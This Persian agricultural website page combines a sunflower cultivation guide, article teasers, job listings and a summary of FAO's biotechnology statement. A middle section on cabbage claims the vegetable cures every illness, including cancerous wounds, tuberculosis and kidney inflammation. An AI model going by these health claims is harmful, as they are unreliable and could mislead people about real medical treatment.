آفتابگردان
خصوصیات گیاهی:

آفتابگردان با نام علمی Helianthus annuus L . گیاهی است یکساله از تیره مرکبه Compositae

که بصورت بوته ای استوار رشد می کند . طول دوره رشد آفتابگردان بسته به رقم و کلیه عوامل محیطی از 90 تا 150 روز می باشد .

آفتابگردان ریشه مستقیم و توسعه یافته ای دارد که پتانسیل نفوذ آن در خاک به سه متر می رسد .پهنک برگهای که در معرض نور است همراه با خورشید تغییر جهت داده و همواره به حالت تقریباً عمود بر اشعه آفتاب قرار میگیرد .پهنکبرگ هنگام صبح بسوی شرق ،‌هنگام غروب بطرف غرب و ظهر رو به بالا می باشد .

گل آذین آفتابگردان طبق یا کپه ای است .لقاح به دلیل اینکه پرچمها زودتر بلوغ می یابد غالباً از نوع دگرگشنی است . میوه آفتابگردان نوعی فندقه است که در اینجا با دانه مترادف گرفته می شود .رنگ دانه از سفید تا سیاه با خاکستری خط دار و بسته به رقم تغییر می کند . هر چه درصد وزنی پوسته کمتر باشد درصد وزنی روغن بیشتر خواهد بود .

سازگاری: آفتابگردان از نظر عکس العمل نسبت به طول روز بی تفاوت بشمار می رود ولی به نور فراوان نیاز دارد . آفتابگردان ریشه توسعه یافته ای دارد که گیاه را به خشکی مقاوم می سازد ، مشروط بر آنکه خاک عمیق بوده و تراکم و ساختمان خاک محدود کننده رشد ریشه نباشد . آفتابگردان به شوری خاک نسبتاً مقاوم است و در محدوده ای از اسیدیتیه خنثی رشد خوبی دارد .

تناوب زراعی:موقعیت آفتابگردان در تناوب زراعی مشابه ذرت است و معمولاً بعد از بقولات علوفه ای بعنوان اولین یا دومین محصول وجینی کاشته می شود ، در صورت وجود و گسترش بیماریهای ریشه ای نبایستی با گیاهانی مانند نخود ، چغندر قند و سیب زمینی که بیماریهای ریشه ای مشابه دارد در تناوب قرار گیرد . مثالهایی از تناوب آن در شرایط آبیاری بشرح زیر است .

علوفه چند ساله ـ پنبه ـ آفتابگردان ـ گندم ـ جو ـ آیش ـ شبدر ـ آفتابگردان ـ گندم ـ جو

کود شیمیایی: تولید هر تن دانه آفتابگردان موجب خروج 40 تا 60 کیلو ازت ، 15 تا 33 کیلو اکسید فسفر( p2o5) و 75 تا 120 کیلو اکسید پتاسیم (K2o) از خاک می گردد .

معمولاً ثلث تا نصب کود از ته را قبل از کاشت و بقیه را همراه با آخرین وجین مکانیزه به خاک اضافه و بلافاصله آبیاری می کنند .

تاریخ کاشت: حداقل حرارت لازم برای جوانه زدن بذر آفتابگردان حدود 8 تا 10 درجه سانتیگراد در خاک است . معمولاً این حرارتها در خاک با رسیدن میانگین شبانه روزی حرارت هوا به 10 تا 15 درجه سانتیگراد تأمین می گردد .

کنترل علفهای هرز: کنترل علفهای هرز با استفاده از علف کشها بسیار مطلوبست . از علف کشهایی که بصورت قبل از کاشت جهت کنترل بذر علفهای هرز مختلف در آفتابگردان قابل مصرف است می توان اپتام (Eptam) و تریفلور الین Ttifluralin را مورد اشاره قرار داد . این علف کشها را می توان قبل از پشته بندی روی خاک پاشید ، با دیسک تا عمق 10 سانتی متری با خاک مخلوط و سپس پشته بندی کرد . میزان مصرف اپتام 4 تا 5 لیتر از مولسیون 75 درصد و میزان مصرف تریفلورالین حدود 2/1 لیتر در خاکهای سبک ، 8/1 لیتر در خاکهای متوسط و 4/2 لیتر در خاکهای سنگین از امولسین 48 درصد می باشد .

آفات و امراض: مهمترین آفت اختصاصی آفتابگردان در ایران پروانه دانه خوار آفتابگردان با نام علمی Homoeosoma nebulella است . لارو این پروانه به رنگ عمومی شکری و سر قهوه ای رنگ از برگ و گلها تغذیه و سپس به دانه حمله می کند .

در هر حال می توان از سموم تیودان و دیازینون در دو نوبت یکی همزمان با تشکیل گلها و دیگری حجدود 10 روز بعد استفاده نمود . انهدام بقایای گیاهی آلوده از طریق سوزانیدن یا شخم بقایا جهت از بین بردن لاروها و شفیره های زمستان گذران مفید است . مؤثرترین روش مبارزه با این آفت استفاده از ارقام مقاوم است .

حشرات دیگری که در ایران به آفتابگردان حمله می کند عبارتند از شب پره زمستانی ، سوسکهای گرده خوار و پروانه کار ادربنا . این آفت اهمیت اقتصادی زیادی ندارد .

از بیماریهای مهم آفتابگردان در ایران می توان سفیدک داخلی وزنگ آفتابگردان را نام برد . عامل بیماری سفیدک داخلی قارچی است بنام Plasmopora helianthi که بوسیله خاک و بذر آلوده انتقال ،‌از طریق ریشه به نبات سرایت و بحال سیستمیک در می آید . مبارزه با این بیماری انتخاب بذر غیر آلوده ، ضد عفونی بذر با سموم قارچ کش مانند گرانوزان یا مرکوران به میزان 2 در هزار ، تناوب زراعی ، کندن و سوزاندن بقایای گیاهی آلوده و کشت ارقام مقاوم انجام پذیر است .

عامل بیماری زنگ آفتابگردان قارچی است بنام Puccinia helianthi رشد و نمو این قارچ سب پیدایش لکه های برچسته و پراکنده ای به رنگ قهوه ای تیره در پشت برگها می گردد که در نهایت منجر به رد شدن و ریزش برگها می شود . مهمترین راه مقابله با این بیماری استفاده از ارقام مقاوم است .

سمپاشی محصول با گل گوگرد یا ترکیبات قارچ کش دیگر در صورت اقتصادی بودن مؤثر است .

برداشت:رسیدگی دانه ها بتدریج و از خارج طبق آغاز و بسمت داخل ادامه می یابد . برداشت زود هنگام موجب افت عملکرد و تأخیر در برداشت موجب ریزش و افزایش خسارت پرندگان ، بخصوص گنجشک می گردد . بطور کلی ، برداشت هنگامی انجام می شود که پشت طبق به رنگ زرد مایل به قهوه ای درآمده و برگکهای کناری طبق قهوه ای شده باشد .

موارد استفاده:دو مصرف اصلی دانه آفتابگردان بصورت روغن گیری و مصرف آجیلی است .انواع آجیلی دانه درشت تری نسبت به انواع روغنی داشته و حدود 25 تا 20 در صد روغن دارد . میزان پروتئین دانه در آفتابگردان حدود 17 درصد است .

ظاهراً هر چه دوران رسیدگی دانه با هوای خنک تری روبرو گردد بر درصد اکسید چرب اشباع لینولائیک در روغن اضافه می شود و بر ارزش غذایی آن افزوده می گردد .

ساقه آفتابگردان فیبر زیادی داشته و در صنعت کاغذ سازی و تهیه سلولز مصرف دارد . ساقه از نظر ازت ، کلسیم و پتاسیم نیز غنی است و اضافه کردن آن به خاک موجب افزایش ماده آلی و حاصلخیزی خاک می گردد .

تبادل لینک و لوگو - جهت تبادل لينك و لوگو تماس حاصل نماييد. همکاری با مجله - جای شما در جمع همکاران مجله خالیست ارسال مطلب -  جهت ارسال مطالب خود  اعم از مقاله، گزارش و مصاحبه جهت درج در شماره های آینده مي توانيد از لينك مربوطه در منوي پايين صفحه استفاده نماييد. انجمنها - نظرات.  سوالات تخصصي. اخبار و مباحث مختلف خود را در انجمنهاي بحث و گفتگوي مجله مطرح نموده و از ارسال آنها به ايميل مجله لطفا خودداري نماييد.  پاسخ به پرسشها - لطفا از ارسال سئوالات تخصصي خود از بخش تماس با ما خودداري نموده و آنها را فقط در انجمنهاي بحث و تبادل نظر مجله مطرح فرماييد تا پاسخ خود را سريعتر و دقيق تر دريافت نماييد.

از قانون کشاورزی تا قانون زندگی: گفتگو با مسن ترین کشاورز نمونه سال چهره آفتاب‌خورده اما خندان و دستاني كه از گذران سختي‌هاي طولاني حكايت دارد اما مهربان و صميمي است، مجموعه حس اولين ديدار با قديمي‌ترين و سالمندترين كشاورز برگزيده كشوري امسال را تشكيل مي‌دهد. عجيب بود كه هر بار از كار كشاورزي خود و حكايت درختان نخل مي‌گفت، از دل آن راهي و پلي به سوي زندگي... ادامه مطلب... چرا درختان سقوط می کنند؟  سال‌هاست در حال شنيدن جملاتي نظير سقوط درختاني چون صنوبر يا چنار در خيابان‌هاي شهري يا معابر عمومي در اكثر استان‌هاي كشور در نشريات يا رسانه‌هاي گروهي هستيم. در اكثر موارد، اين حوادث با خسارت مالي و جاني همراه است و در بعضي موارد فقط به خسارات مالي اشاره مي‌شود. اخيراً نيز يكي از درختان چندساله غيربومي صنوبر ... ادامه مطلب كشت‌ قارچ‌ خوراكي‌ به‌ همان‌ اندازه‌ كه‌ محبوبيت‌ قارچ‌ در رژيم‌ غذايي‌ آمريكايي‌ افزايش‌ مي‌يابد، علاقه‌مند ي براي ‌تخصص‌ يافتن‌ در امور مربوط‌ به‌ قارچ‌، تبديل‌ به‌ يك‌ سرگرمي‌ و نيز تجارتي‌ كوچك‌ مي‌شود.امروزه‌ بسياري‌ از فروشگاههاي‌ انواع‌ گوناگون‌ از قارچ‌ها را عرضه‌ مي‌دارند و روش‌هاي‌ مورداستفاده‌ براي‌ توليد محصولات‌ مربوط‌ به‌ چند نوع‌ قارچ‌ معمول‌ ديگر، آنچه‌ در پي‌ مي‌آيد. ادامه مطلب ... خفگي و بيماري گياهان در زير آسماني از انبوه آلاينده‌هاي هوا  از شيشه خودرو به شاخه‌هاي درختان نيمه مرده و خشك شده كنار بزرگراه نگاه مي‌كنم، دلم مي‌گيرد براي سبزي به فراموش سپرده شده‌اي كه از دست رفته است. انبوه درختاني كه در فشار بي‌پايان آلاينده‌هاي هوا دچار خفگي شده‌اند و حتي براي نفس كشيدن و جان دوباره‌اي گرفتن نمي‌توانند شاخه هايشان را رو به آسمان بلند كنند و كمك بخواهند. ... ادامه مطلب... نامه انتقادی ‌۵۴ استاد كشاورزی به احمدی نژاد 54 تن از اساتيد كشاورزي و منابع طبيعي دانشگاه‌هاي دولتي كشور در نامه‌اي با عنوان «پيشنهادهاي دلسوزانه به دولت در حوزهء عملكرد كشاورزي و منابع طبيعي» بسياري از اقدامات فعلي وزارت جهاد كشاورزي همچون تكيه بر خودكفايي چند محصول و به فراموشي سپردن ساير توليدات كشاورزي را مورد انتقاد قرار داده‌اند... ادامه مطلب ... روشهای پیشگیری از خسارات آفات در گلخانه شرایط ایجاد شده در گلخانه بهتــــرین وضعیت را برای استقرار انواع حشرات و کنه‌های آفت بوجود می‌آورد. افزایش سریع جمعیت آفات در گلخانه گاهی اوقات آنچنان غاقل‌گیر کننده است که تنها یک مدیریت کارآمد می‌تواند از خسارت آنها به محصول جلوگیری کند. برای کنترل آفات در گلخانه استفاده بی‌رویه از سموم دفع آفات راه حل مناسبی نیست...ادامه مطلب... تمدن غذایی محکم‌ترین حربه برای حفظ فرهنگ انسان در طی تکامل تاریخی‌اش در چند مرحله مسیر خود را از جریان طبیعی تغییر داده به تدریج زاویه خود را با طبیعت بیشتر کرده است. اولین قدم برای ایجاد فاصله میان بشر و طبیعت انقلاب کشاورزی است که در حدود 10 هزار سال پیش با کشف قواعد حاکم بر رویش گیاهان صورت گرفت، انقلاب‌های بعدی مانند انقلاب صنعتی ... ادامه مطلب ... پدیده وارونگی هوا و اثر گلخانه ای هوا ضروریترین ماده برای ادامه حیات موجود زنده است. هر انسان به طور متوسط روزانه 16 کیلوگرم هوا مصرف می کند و این در حالی است که فقط 5/1 کیلوگرم آب و حدود 1 کیلوگرم غذا مصرف می کند. معمولا در لایه پایین جو درجه حرارت هوا با افزایش ارتفاع کاهش می یابد. بنابر این، طبیعی است که حرکت صعودی هوا به وجود می آید. ادامه مطلب ... ماهی، افسردگی را می بلعد حتما طی سال‌های اخیر اسم اسیدهای چرب امگا۳ را زیاد شنیده‌اید. اسیدهای چرب امگا۳ گروهی از اسیدهای چرب با زنجیره بلند هستند كه در ساختمان خود دارای تعداد زیادی پیوندهای غیراشباع هستند. دانشمندان معتقدند چربی‌هایی كه پیوندهای غیراشباع دارند (نظیر روغن مایع) نسبت به چربی‌هایی كه تمام پیوندهایشان اشباع است، كمتر سلامتی انسان را در معرض خطر قرار می‌دهند . ادامه مطلب... نقش فضای سبز و اهمیت آن در زندگی انسان ریشه ارتیاط و علاقه انسان به گیاه از سالهای بسیار دور و شاید از دوران انسانهای اولیه نشأت می گیرد. در طول تاریخ استفاده از گیاه مسیر تكاملی و اشتقاق علمی گسترده أی داشته است. در این راستا از زمان مهاجرت قوم ماد به فلات ایران ، مردم این سرزمین همواره در توسعه فضای سبز و كاشت گیاهان كوشا بوده اند به طوری كه روزگاری ایران به نام كشور گل وبلبل شهرت داشت. ادامه مطلب ... مدیریت مطلوب برای بهترین عملكرد در دامپروری در مزارع پرورش گاوهای شیرده،علاوه بر تولید مطلوب شیركه از گاوهای پر تولید مورد انتظار است،،مدیریت ازمناسب نیز باید اعمال شود. این مقاله شماری از جنبه های مدیریتی را كه می تواند در افزایش تولید شیر نقش عمده داشته باشد را شرح می دهد:  اندازه گیری شیر و تر كیبا ت آن - تداوم شیردهی - پرورش گوساله های جوان - فاکتورهای محیطی و ... سازشهای اكومورفولوژیكی در بریوفیتهای مناطق بیابانی بخش زیادی از بریوفیتهای بیابانی و نیمه بیابانی قادر به تحمل خشكی از طریق اتخاذ سازگاریهای ساختاری مختلف برای بقا ، حفظ آب و حفظ فتوسنتز تحت شرایط خشك می باشند. این بریوفیتها قادر به تحمل دماهای بالا و خشكی زیادند ودوره های خشكی تابستانی را در زیستگاه خود تحمل می كنند ... دركامپيوتر خود از يك گياه نگهداري كنيد ! آيا مي خواهيد در محيط دسكتاپ كامپيوترتان يك گلدان داشته باشيد ؟ اشتباه نكنيد منظور ما از داشتن يگ گلدان فقط ، داشتن تصويري از آن به عنوان Wallpaper نيست . بلكه اين گلدان ، گلداني است كه بايد واقعا آن را پرورش دهيد و از آن نگهداري كنيد و به موقع به آن آب و كود دهيد تا زرد و پژمرده نشود !

	دعوت به همکاری از مهندسین
	... باشد در زمینه ی رشته تحصیلی. 5-مهندسین می بایست استخدام رسمی دولت نباشند. 6-از مدارک فقط در جهت رتبه بندی استفاده می گردد و کار عملی متصور نیست . شما می توانید کپی اسکن شده مدارک خود ارسال فرمای... اراك- ali paimard تلفن: 3678105-09356177310.0861

25/11		دعوت به همکاری از مهندسین - رتبه بندی شرکتها
		... باشد در زمینه ی رشته تحصیلی. 5-مهندسین می بایست استخدام رسمی دولت نباشند. 6-از مدارک فقط در جهت رتبه بندی استفاده می گردد و کار عملی متصور نیست . شما می توانید کپی اسکن شده مدارک خود ارسال فرمای... قزوین- پایمرد تلفن: 09356177310

27/9		استخدام مهندس کشاورزی
		به تعدادی دانشجو و فارغ التحصیل رشته های کشاورزی برای کار در مورد خشک کن های میوه و سبزی در تهران و مراکز استانها نیازمندیم با تلفن 02188421910 جواد خندقی تماس بگیرید قزوین- جواد خندقی تلفن:

8/9		رهنما سایت نیازمندیهای ایران
		... کاریابی،نمایندگی، آماده به کار، انجام پیمانکاری، استخدام، بازاریابی ،سرمایه گذار ، شراکت) • تلفن و موبایل ( فیش، فروش خط، فروشگاه موبایل، لوازم جانبی،کارت sms، امور مشترکین، تلفن و فاکس، تعمیرات، خر... اصفهان- شرکت رهنما تلفن:

20/7		سایت مدیریت تریوج و نظام بهره برداری استان مرکزی
		...ی,محصولات باغی,گیاهان زراعی و ...)آگهی های مناقصه,استخدام،جذب در طرح بسیج,کارورزی,مهندسین مزرعه)گالری عکس مرتبط با کلیه رشته های کشاورزی و صدها مقاله,نشریه,نکته و پیام ترویجی و آیا می دانید.آدرس سایت ... اراك- صفورا خسروی تلفن: 3139103

15/6		www.jkmt.ir مدیریت ترویج استان مرکزی
		...ی,محصولات باغی,گیاهان زراعی و ...)آگهی های مناقصه,استخدام،جذب در طرح بسیج,کارورزی,مهندسین مزرعه)گالری عکس مرتبط با کلیه رشته های کشاورزی و صدها مقاله,نشریه,نکته و پیام ترویجی و آیا می دانید.این سایت ب... اراك- خسروی تلفن: 3139103

16/5		استخدام مهندس کشاورزی-دفع آفات و سموم
		به یک نفر مهندس کشاورزی-شاخه اصلاح نباتات و دفع آفات نباتی نیا زمندیم. تهران- آرین حمید خانی تلفن: 88747234

2/10		استخدام
		شرکت مهندسی مشاور جهت استخدام و یا اخذ رتبه بندی به افراد زیر نیاز دارد (در حال حاضر در زمینه مهندسی مشاور (طراحی و نظارت بر پروژه های آبیاری و زهکشی) فعالیت دارد.): * کارشناس با 10 سال یا کارش... اهواز- امید تلفن: 0611 - 3348740

27/8		استخدام بازاریاب و کارشناس فروش
		شرکت مهندسی آتی نگر مهر جهت تکمیل کادر فنی و تخصصی خود از افراد واجد شرایط در رشته های زیر دعوت به همکاری می نماید. علاقمندان می توانند فرم پیوست را به همراه مدارک مربوطه به آدرس تهران، صندوق پستی 168... تهران- atinegarmehr@gmail.com تلفن: 88910048

تصفیه کننده خون،کلم یکی از سبزی های معروف خوراکی است که تاریخی کهن دارد. کلم اقسام مختلفی دارد و به رنگ های گوناگون است. مانند : کلم سبز، کلم قرمز، کلم قمری. فواید کلم: کلم، رخسار را جلا می دهد و نیکو می سازد. کلم خواب آور بسیار خوبی است. کلم، حرکت کودکان نو پا را آسان می گرداند. مصرف کلم، صدا را صاف می کند. کلم پخته، بدن را از اخلاط فاسد و عرق زیاد پاک می کند. کلم پخته در درمان صرفه کهنه و درد کمر و زانو موثر است. کلم پخته، سردرد را تسکین می دهد. برگ کلم سوخته، بهترین پاک کننده زردی دندان ها و خشک کننده بسیار خوبی است. تخم کلم، ضد خونریزی لثه و ضد کرم دستگاه گوارش است. تخم کلم ضد کم خونی است و قوه بینایی و نور چشم را افزایش می دهد. مداومت در خوردن کلم، باعث از بین رفتن سنگ های ادراری و تناسلی خواهد شد. کلم به علت دارا بودن مواد گوگردی برای خارش و شستشوی موی سر شوره دار، داروی بسیار خوبی است. کلم تصفیه کننده خون استک کلم دارای یک اسانس سلفوره است که برای معالجه کرم امعاء به کار می رود. برای درمان زخم های عمیق و زخم های سرطانی، پماد برگ کلم با آرد جو مفید است. سوخته کلم برای درمان جوش های دهان، رفع زردی دندان و جلوگیری از ریزش مو مؤثر است. برای این منظور باید سوخته کلم را در محل مورد نظر بمالند و این کار را تکرار کنند تا اثر خود را ببخشد. خوردن 6/25 گرم تخم کلم که با آب پخته شده باشد، لکه های پوستی را برطرف می کند. شیره کلم خام، برای تقویت خون اشخاصی که کمبود آهن دارند مفید است. شیره کلم خام، غشاهای مخاطی معده و روده ها را پاکیزه می کند. برگ کلم له شده، برای درمانی ناراحتی های پوستی مؤثر است. کلم اکسیری است که دوای همه دردهاست و تمام اعضای بدن از آن استفاده می کنند و هیچ دردی نیست که در مقابل کلم دوام آورد. کلم زخم های بواسیر را التیام می دهد. کلم سنگینی گوش را درمان می کند. برگ های خام کلم سبز یا قرمز را قبل از غذا به صورت سالاد بخورید. زیرا برگهای کلم مقدار زیادی کلسیم و گوگرد دارد که برای تقویت خون بی اندازه مفید است و سالاد برگ خام کلم، بهترین درمان کم خونی است. مصرف سوپ کلم برای معالجه برونشیت و سرفه شدید مفید است. برگ کلم سفید یا قرمز در معالجه امراض کبد و یرقان (زردی) نتایج مؤثری دارد. کلم بهترین داروی طبیعی برای معالجه اسهال است، برای این منظور باید برگ کلم یا گل کلم را با آب بپزید و فلفل و کره به آن چاشنی کنید و با کره و نان برشته به عنوان غذا مصرف کنید. مصرف کلم، بیماری نفریت (ورم چرکی کلیه) را درمان می کند. مصرف کلم برای مبتلایان به نفریت به سبب دفع سموم موجب تسکین درد می شود. اگر برگ کلم را به وسیله گذاردن اطوی داغ روی آن به صورت پماد در آورده و روی جاهایی که در بدن درد می کند بگذارید این مرهم (ضماد) برای تسکین درد اعصاب و رماتیسم و سیاتیک مؤثر است. مصرف شربت کلم، روزانه سه قاشق و هر بار یک قاشق قهوه خوری تمام کرم های بدن را دفع می کند. کلم به علت داشتن آهک زیاد، ارسنیک و ید، یکی از غذاهای بسیار عالی و مفید است و برای درمان سستی استخوان، سل و کم خونی نظیر ندارد. در کلم املاح سولفات، نیترات دوپتاس، اکسیدهای آهن و گوگرد (اسانس گوگرد) وجود دارد. تذکر: خوردن کلم برای بیمارانی که مبتلا به گواتر و بواسیر هستند و افرادی که به خارش بدن مبتلا هستند مضر است. طریقه مصرف: مصرف کلم به صورت سالاد، بسیار لذیذ و نافع است. آب کلم نیز راهی برای مصرف کلم است اما ممکن است به ذائقه بسیاری از مردم خوش نیاید. برای این منظور می توان آب هویج خام و چند قطره آب لیمو به آن اضافه کرد و سپس مصرف کرد. بهترین کلم و روش نگهداری آن: وقتی کلمی را انتخاب می کنید، باید برگ هایش محکم و چسبیده باشد و سر آن سنگین و محکم و برگ های خارجی اش هنوز روی آن باشد. برای اینکه تازگی کلم حفظ شود، آن را در پارچه ای بپیچید و در یخچال نگهداری کنید.

در مواردي مانند انتقال سموم از يك موجود به موجود ديگر يا توليد سموم جديد و يا انتقال تركيبات حساسيت‏زا از يك گونه به گونه ديگر كه ممكن است سبب ايجاد واكنش‏هاي حساسيت زای غير منتظره شود، رعايت احتياط كامل براي كاهش خطرات احتمالي، اصل ضروري و مهم است.

          همچنين در مورد خطرات زيست محيطي احتمالي آنها مانند تلاقي‏هاي ناخواسته‏اي كه باعث توليد علفهاي هرز مهاجم و يا خويشاوندان وحشي آنها مي‏شود، رعايت احتياط لازم است زيرا كه از نظر زيست ايمني اين گونه‏ها در مقابل بيماريها يا شرايط بد محيطي مقاوم‏تر بوده و موجب از بين رفتن تعادل زيست بوم‏ها مي‏شوند. همچنين جايگزين شدن واريته‏هاي تراريخته به جاي واريته‏هاي متنوع سنتي، موجب كاهش تنوع زيستي مي‏شوند.  FAO از سيستم‏هاي ارزيابي علمي كه به شکل بي‏طرفانه نسبت به تعيين فوايد و خطرات احتمالي هر يك از موجودات تراريخته به صورت جداگانه اقدام نمايند، حمايت مي‏كند. اين اقدام در حقيقت نوعی اعلام حمايت از شروع يک حركت محتاطانه و مورد به مورد براي اعمال نظارت قانوني بر هر محصول تراريخته يا فرآيند تراريزش به صورت جداگانه قبل از آزادسازي آنها به محيط است.

          تاثيرات احتمالي فرآورده‏هاي بيوتكنولوژي بر روي تنوع زيستي، محيط زيست و ايمني غذايي بايد مورد ارزيابي دقيق قرار گرفته و ميزان مزايا و فوايد حاصل از آنها در مقايسه با خطرات احتمالي  دقيقاً بررسي شود. همچنين نظارت دقيق بر تبعات پس از آزادسازي اين گونه محصولات و اطمينان از ايمني آنها براي انسان، جانوران و محيط زيست الزامي است.

       سرمايه‏گذاري فعلي در تحقيقات بيوتكنولوژي صرفاً در بخش خصوصي متمركز شده است. همچنين بخش كشاورزي در كشورهاي پردرآمد، كه توانايي خريد اين محصولات را دارند نيز به سوي سرمايه‏گذاري در اين بخش گرايش يیدا کرده است. با توجه به اينكه بيوتكنولوژي توانايي بالايي در افزايش منابع غذايي و غلبه بر نا امني و آسيب‏پذيري غذايي دارد، FAO تلاش مي‏كند تا در حالت كلي كشورهاي در حال توسعه و در حالت خاص كشاورزان كم درآمد را به سوی استفاده از بيوتكنولوژي و بهره‏مندي از منافع تحقيقات آن تشويق نمايد، با توجه به اينكه هر دوي آنها داراي ذخاير ژنتيك گسترده‏اي هستند و بيوتكنولوژي از اين منظر مي‏تواند منشاء فوايد زيادي براي آنان باشد.

          FAO پيشنهاد مي‏كند كه اين نيازها از طريق افزايش كمكهاي دولتي و گفتگوي بين بخش‏هاي خصوصي و دولتي تامين شود. همچنين FAO مانند گذشته به مساعدتهاي خود به كشورهاي عضو ادامه مي‏دهد تا اين اعضا مخصوصاً كشورهاي در حال توسعه بتوانند از منافع حاصل از بيوتكنولوژي در كشاورزي، منابع طبيعي، جنگلداري و شيلات بهره‏مند شوند؛ مانند راه اندازی شبكه بيوتكنولوژي گياهي در آمريكاي لاتين و مركزي (REDBIO) كه شامل 33 كشور است.

          FAO براي جلب مشاركت فعال‏تر كشورهاي در حال توسعه در تجارت بين‏المللي محصولات غذايي مساعدتهاي فراواني مي‏نمايد. فراهم كردن اطلاعات و كمكهاي فني، تحليل‏هاي اجتماعي- اقتصادي و زيست محيطي در زمينه‏هاي مسائل مهم و روز جهان و نيز مسائل مرتبط با توسعه فنون جديد از ديگر كمك‏هاي FAO در اين زمينه است. همچنين در مواقعي كه ضرورت ايجاب نمايد، FAO به عنوان يك «واسطه معتمد» شرايط را براي مذاكرات فراهم مي‏نمايد.

          برای مثال، FAO با همكاري‏هاي سازمان بهداشت جهاني، امكاناتی در  اختيار اجلاس بين‏الدولي كدكس در ژاپن قرار داد تا دبيرخانه مستقل كميسيون كدكس را راه اندازی کنند. در اين دبيرخانه، كارشناسان منتخب كشورهاي مختلف جهان، به تدوين استانداردها، راهنماها و توصيه‏هاي مناسب براي استفاده از فرآورده‏هاي مشتق از بيوتكنولوژي مي‏پردازند. همچنين كميسيون كدكس به موضوع برچسب گذاري بر روي غذاهاي حاصل از بيوتكنولوژي كه به مصرف كنندگان اجازه انتخاب آگاهانه مي‏دهد، توجه خاصي دارد.

          مثال ديگر تشكيل كميسيون FAO در زمينه منابع ژنتيك و كشاورزي است. اين كميسيون يك تشكل بين‏الدولي است كه در آن كشورها به تهيه و تدوين يك نظام هدايت و رهبري در زمينه بيوتكنولوژي با هدف حداكثر بهره‏برداري از منافع حاصل از بيوتكنولوژي نوين و حداقل خطرات ناشي از آن مي‏پردازند. اين نظام بر پايه اصول علمي و با در نظر گرفتن جنبه‏هاي اخلاقي، اجتماعي، اقتصادي و زيست محيطي بيوتكنولوژي تدوين خواهد شد. مانند كاربرد بيوتكنولوژي در پزشكي كه رعايت جنبه‏هاي اخلاقي در آن، تضمين‏كننده توجه مسئولانه به اين موضوع است. اخيراً FAO در تلاش است تا يك كميته بين‏المللي تخصصي در زمينه جنبه های اخلاقی بيوتکنولوژی در غذا و كشاورزي تشكيل دهد، همچنين FAO دائماً مي‏كوشد تا منافع و يا احياناً خطرات ناشي از كاربرد فنون نوين بيوتکنولوژی را در افزايش توليدات گياهي، دامي و فرآورده‏هاي آنها كاملاً شناسايي و تعيين نمايد. اگرچه مسئوليت قانوني كردن و تعيين سياست‏ها و خط مشي‏هاي اين فناوري در هر كشوري بستگي به سياستمدران آن دولت دارد.

توضيح: بيانيه سازمان خواربار جهانی FAO در زمينه بيوتكنولوژي در ماه مارس سال 2000 ميلادي، همزمان با برگزاري اجلاس بين‏المللي كدكس در ژاپن، درباره غذاهاي مشتق از بيوتكنولوژي صادر شده است.

بيوتكنولوژي ابزار قدرتمندي را براي توسعه پايدار كشاورزي، شيلات، جنگلداري و  صنايع غذايي مهيا مي‏كند. وقتي بيوتكنولوژي به درستي با ساير فناوريهای توليد غذا، محصولات و خدمات كشاورزي تلفيق شود، توانايي قابل توجهي در برآوردن نيازهاي روزافزون جمعيت جهان در قرن 21 خواهد داشت.

          بيوتكنولوژي مجموعه‏اي از فنون و كاربردهاي مختلف است. تعريف بيوتكنولوژي در مجمع تنوع زيستي اينگونه بيان شده است: «هر گونه كاربرد فني كه از سيستم‏هاي زنده، موجودات زنده يا مشتقات آنها به منظور ساخت يا تغيير محصولات يا فرآيند توليد آنها به منظور خاص استفاده كند.»

          اين تعريف گسترده به اين معناست كه بيوتكنولوژي بسياري از ابزار و فنون مورد استفاده در كشاورزي و توليد محصولات غذايي را شامل مي‏شود. در مفهوم خاص، بيوتكنولوژي به معناي كاربرد فنون DNA و زيست‏شناسي مولكولي است و در اين حالت فناوريهاي مختلفي مانند دست‏ورزي ژن، انتقال ژن و همسانه‏سازي گياهان و جانوران را شامل مي‏شود.

          در شرايطی كه هنوز مباحث مختلفي در زمينه‏هاي گوناگون بيوتكنولوژي و كاربردهاي آن وجود دارد، موضوع موجودات تراريخته يا GMO ها به بحث داغ روز و هدف مباحث جدي و حتي احساسي تبديل شده است. در اين زمان FAO به اين نتيجه رسيد كه مهندسي ژنتيك با داشتن توانمندي افزايش توليد در كشاورزي، جنگلداري و شيلات ، مي‏تواند باعث توليد بيشتر محصول در كشورهايی شود كه هم اكنون توانايي توليد غذاي مناسب و كافي براي تغذيه مردم خود را ندارند. همچنين شواهد مختلفي وجود دارد که نشان می دهد مهندسي ژنتيك از طريق توليد واكسن‎‏هاي جديد، نقش بسيار مهمی در كاهش ميزان سرايت بيماريهاي انساني و جانوري داشته است. همچنين توليد برنج حاوي پيش ماده ويتامين A (بتاكاروتن) و آهن با استفاده از فنون مهندسي ژنتيك، گام بسيار مهمي در بهبود سطح سلامت جوامع انساني، مخصوصاً جوامع كم درآمد بوده است.       

   ساير روشهاي بيوتكنولوژي به سوی توليد يا استفاده از سازواره‏هايي سوق داده می شوند كه به بهبود كيفيت غذاها کمک می کنند يا منجر به پاكسازي آلودگي‏هاي نفتي و فلزات سنگين از اكوسيستم‏هاي شكننده می شوند.

  استفاده از روشهاي كشت بافت گياهي و توليد و توزيع بذر و نهال‏هاي سالم‏تر به كشاورزان، باعث افزايش عملكرد محصولات كشاورزي شده است. انتخاب به كمك نشانگرها و انگشت‏نگاري DNA باعث توسعه و بهبود سريعتر و هدفمندتر ژنوتيپ‏هاي تمامي گونه‏هاي زنده گياهي مي‏شود. همچنين با استفاده از اين فنون و اتخاذ روشهاي تحقيقاتي مناسب مي‏توان به حفظ، نگهداري و تعيين خصوصيات تنوع زيستي موجود كمك كرد. فنون جديد به دانشمندان امكان مي‏دهد تا مكانهاي ژني صفات كمي را تشخيص داده و مورد هدف قرار دهند و از اين طريق باعث تسريع روند مقابله با برخي مشكلات سنتي و حل نشدني كشاورزي قديم مانند مقاومت به خشكي و يا بهبود و توسعه سيستم ريشه‏اي گياهان شوند.

          در عين حال FAO، به احتمال خطرآفريني برخي جنبه‏هاي بيوتكنولوژي نيز توجه دارد. اين خطرها شامل دو بخش اساسی هستند: 1- تاثيرات احتمالي آنها بر سلامت انسان و جانوران، 2- پيامدهاي زيست محيطي.

